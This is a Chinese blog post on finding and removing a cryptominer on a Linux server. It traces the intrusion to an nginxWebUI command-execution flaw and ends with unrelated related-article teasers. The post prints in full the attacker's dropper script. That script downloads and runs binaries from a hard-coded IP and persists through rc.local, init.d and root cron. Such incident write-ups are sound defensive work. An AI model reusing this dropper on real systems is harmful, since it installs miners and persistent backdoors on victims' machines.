Linux挖矿程序排查

一、背景

我们收到一个阿里云安全告警,内容是服务器可能存在挖矿程序。

二、杀死挖矿程序

2.1 找到可疑服务器进程

#1.输入top命令,输入shift + P会按照cpu的使用率大小从大到小进行排序,cpu使用率高的就是可疑进程。
top
#2.查看运行该进程的命令
ps -ef | grep PID

2.2 进入该进程运行目录

#1.查看进程运行目录
pwdx PID
#2.进入目录
cd dir

相关命令

命令说明
readlink /proc/pid/exe

/proc/pid/exe文件是一个符号链接文件,它的内容是一个指向当前进程可执行文件的绝对路径的符号链接。

readlink /proc/pid/cwd在Linux系统中,每个进程都有一个/proc/pid/cwd文件,它是一个符号链接文件,指向当前进程的工作目录

2.3 杀死该进程

sudo kill -9 pid

2.4 删除挖矿进程文件

#1.查看进程运行目录
pwdx PID
#2.进入目录
cd dir
#3.查看最近两天修改的文件
find . -type f -mtime -2

经过上述步骤,我们找到一个可疑脚本skdl.sh,该内容如下

#!/bin/bash
cd /var/run;wget -O localn http://20.239.92.233/localn;curl -o localn http://20.239.92.233/localn;chmod +x /var/run/localn
cd /mnt;wget -O localn http://20.239.92.233/localn;curl -o localn http://20.239.92.233/localn;chmod +x /mnt/localn
cd /;wget -O systemn http://20.239.92.233/systemn;curl -o systemn http://20.239.92.233/systemn;chmod +x /systemn
chmod +x /etc/rc.d/rc.local
chmod +x /etc/init.d/network
chmod +x /etc/crontab
echo "/var/run/localn &" >> /etc/rc.d/rc.local
if [ ! -f "/etc/init.d/network" ]; thenecho "sh /mnt/localn" | tee /etc/init.d/networkchmod +x /etc/init.d/network
elsesed -i '15i sh /mnt/localn' /etc/init.d/network
fi
echo "* * * * * /systemn &" >> /var/spool/cron/root
files="x86_64 mips mpsl arm arm5 arm6 arm7 m68k sh4 ppc aarch64"
cd /tmp
for file in $files
dowget http://20.239.92.233/skl.$filewget http://20.239.92.233/skl.$file -O skl.$filechmod +x skl.$file./skl.$file $file
done
rm -rf $0

删除脚本

sudo rm -rf skdl.sh

2.5 查看是否存在非法任务

#1.查看定时任务列表
crontab -l
#2.如果出现可疑定时任务,就注释掉
crontab -e
#3.查看开机自启动的内容,如果有可疑内容就注释掉
cat /etc/rc.local

三、分析该挖矿程序出现的原因

3.1 查看用户登录日志

#查看用户登录日志
last

相关命令

命令说明
cat  /var/log/secure

查看ssh登录日志

nmap localhost查看打开的端口

用户登录日志如下,并无任何异常

3.2 查看nginxWebUI日志

可疑脚本的位置在/data/nginxWebUI这个目录下,所以我怀疑是攻击者通过nginxWebUI的漏洞来远程执行命令。

通过查看日志,发现有一个可疑的地址,基本确定是nginxWebUI的漏洞。

通过百度发现确实存在漏洞,nginxWebUI <= 3.5.0 会存在远程命令执行漏洞,链接:https://zhuanlan.zhihu.com/p/640316810

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/63956.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

zabbix监控山石系列Hillstone配置模版(适用于zabbix6及以上)

监控项&#xff1a; 触发器&#xff1a; 监控数据&#xff1a;

PE文件结构

PE文件是Windows系统下可执行文件的总称&#xff0c;英文全称 Portable Executable 可移植的可执行文件&#xff0c;常见的有exe、dll、sys、com、ocx 对于学习反&#xff08;木马、免杀、病毒、外挂、内核&#xff09;&#xff0c;了解PE文件结构是非常有必要且非常非常重要的…

C语言-08复合类型-结构体

一、结构体 1.结构体struct struct关键字&#xff0c;允许自定义复合数据类型&#xff0c;将不同类型的值组合在一起&#xff0c;这种类型称为结构体类型。 2.使用步骤 第一步&#xff1a;创建或声明结构体 第二步&#xff1a;定义结构体变量 第三步&#xff1a;调用并操作结…

Web前端基础知识(一)

前端是构建网页的一部分&#xff0c;负责用户在浏览器中看到和与之交互的内容。 网页是在浏览器中呈现内容的文档或页面。 通常&#xff0c;网页使用HTML、CSS、JavaScript(JS)组成。 HTML:定义了页面的结构和内容。包括文本、图像、链接等。 CSS&#xff1a;定义页面的样式…

网络安全词云图与技术浅谈

网络安全词云图与技术浅谈 一、网络安全词云图生成 为了直观地展示网络安全领域的关键术语&#xff0c;我们可以通过词云图&#xff08;Word Cloud&#xff09;的形式来呈现。词云图是一种数据可视化工具&#xff0c;它通过字体大小和颜色的差异来突出显示文本中出现频率较高…

fpgafor循环语句使用

genvar i;//循环变量名称 generate for(i0;i<4;ii1)begin:tx//自己定义名称 //循环内容 end endgenerate12位的16进制乘以4就是48位位宽的2进制 因为 222*2(2^4)16

【python高级】342-TCP服务器开发流程

CS模式&#xff1a;客户端-服务端模式 TCP客户端开发流程介绍&#xff08;五步&#xff09;&#xff08;C端&#xff09; 1.创建客户端套接字对象 2.和服务端套接字建立连接 3.发送数据 4.接收数据 5.关闭客户端套接字 TCP服务端开发流程&#xff08;七步&#xff09;&#xf…

es 中 terms set 使用

在 Elasticsearch 中&#xff0c;terms_set 查询通常用于在一个字段上进行多值匹配&#xff0c;并支持设置一个条件&#xff08;例如最小匹配数量&#xff09;&#xff0c;让查询结果更具灵活性。为了展示如何使用 terms_set 查询&#xff0c;我们首先会创建一个索引&#xff0…

修改采购订单BAPI学习研究-BAPI_PO_CHANGE

这里是修改采购订单BAPI&#xff0c;修改订单数量和交货日期的简单应用 文章目录 修改数量代码运行结果 修改交货日期代码运行结果 修改数量 代码 *&---------------------------------------------------------------------* *& Report Z_BAPI_PO_CHANGE *&----…

WSL2高级配置之mirrored镜像网络

WSL2高级配置之mirrored镜像网络 引言版本要求更改配置 引言 WSL2默认的网络模式为NAT。尽管WSL2原生提供了localhost转发这种能够方便地在Windows中访问子系统服务的特性&#xff0c;但如果想反过来&#xff0c;则只能通过局域网或者想办法桥接&#xff0c;这两种方法都有些许…

《ROS2 机器人开发 从入门道实践》 鱼香ROS2——第4章内容

第4章 服务和参数——深入ROS2通信 4.2 用Python服务通信实现人脸检测 4.2.1 自定义服务接口 1. 创建接口功能包 终端中输入 ros2 pkg create chapt4_interfaces --dependencies sensor_msgs rosidl_default_generators --license Apache-2.0 ros2 pkg create 功能包名称…

Linux系统编程深度解析:C语言实战指南

文章一览 前言一、gcc编译系统1.1 文件名后缀1.2 C语言编译过程1.3 gcc命令行选项 二、gdb程序调试工具2.1 启动gdb和查看内部命令2.2 显示源程序和数据2.2.1 显示和搜索源程序2.2.2 查看运行时数据 2.3 改变和显示目录或路径2.4 控制程序的执行2.4.1 设置断点2.4.2 显示断点2.…

SQL优化原理与具体实例分析

一、引言 SQL&#xff08;Structured Query Language&#xff0c;结构化查询语言&#xff09;是关系型数据库的核心语言。在实际应用中&#xff0c;数据库查询性能往往成为系统性能瓶颈。因此&#xff0c;掌握SQL优化技巧对于提高数据库查询效率具有重要意义。本文将围绕SQL优…

安卓蓝牙扫描流程

目录 系统广播 流程图 源码跟踪 系统广播 扫描开启广播&#xff1a;BluetoothAdapter.ACTION_DISCOVERY_STARTED "android.bluetooth.adapter.action.DISCOVERY_STARTED";扫描关闭广播&#xff1a;BluetoothAdapter.ACTION_DISCOVERY_FINISHED "android.b…

shell 编程(三)

条件测试命令 条件测试&#xff1a;判断某需求是否满足&#xff0c;需要有测试机制来实现 专用的测试表达式需要由测试命令辅助完成测试过程&#xff0c;评估布尔生命&#xff0c;以便用在条件性执行中 若真,则状态码变量$? 返回0 // echo $? 打印0 反之返回1 t…

八股(One Day one)

最近老是看到一些面试的视频&#xff0c;对于视频内部面试所提到的八股文&#xff0c;感觉是知道是什么&#xff0c;但是要说的话&#xff0c;却又不知道该怎么说&#xff08;要不咋称之为八股文呢&#xff09;&#xff0c;所以就想到写一篇八股文总结的博客&#xff0c;以便进…

Rust 在前端基建中的使用

摘要 随着前端技术的不断发展&#xff0c;前端基础设施&#xff08;前端基建&#xff09;的建设已成为提升开发效率、保障产品质量的关键环节。然而&#xff0c;在应对复杂业务场景与高性能需求时&#xff0c;传统的前端技术栈逐渐暴露出诸多不足。近年来&#xff0c;Rust语言…

豆包MarsCode:a替换函数

问题描述 思路分析 在这个问题中&#xff0c;我们的目标是将字符串中的所有小写字母 a 替换为 "%100"。为了实现这一点&#xff0c;我们需要分析问题的核心需求和合理的解决方案。以下是分析和思路的详细步骤&#xff1a; 1. 理解问题 给定一个字符串 s&#xff0…

人脸生成3d模型 Era3D

从单视图图像进行3D重建是计算机视觉和图形学中的一项基本任务&#xff0c;因为它在游戏设计、虚拟现实和机器人技术中具有潜在的应用价值。早期的研究主要依赖于直接在体素上进行3D回归&#xff0c;这往往会导致过于平滑的结果&#xff0c;并且由于3D训练数据的限制&#xff0…

【点估计】之Python实现

点估计是一种统计推断方法,它利用样本数据来估计总体的未知参数。在概率论和数理统计的框架下,点估计将总体的未知参数视为一个确定的值或一个具体的点,并试图通过样本数据来找到这个值的最佳估计。以下是对点估计的详细解释: 一、定义与原理 定义:点估计是根据样本数据估…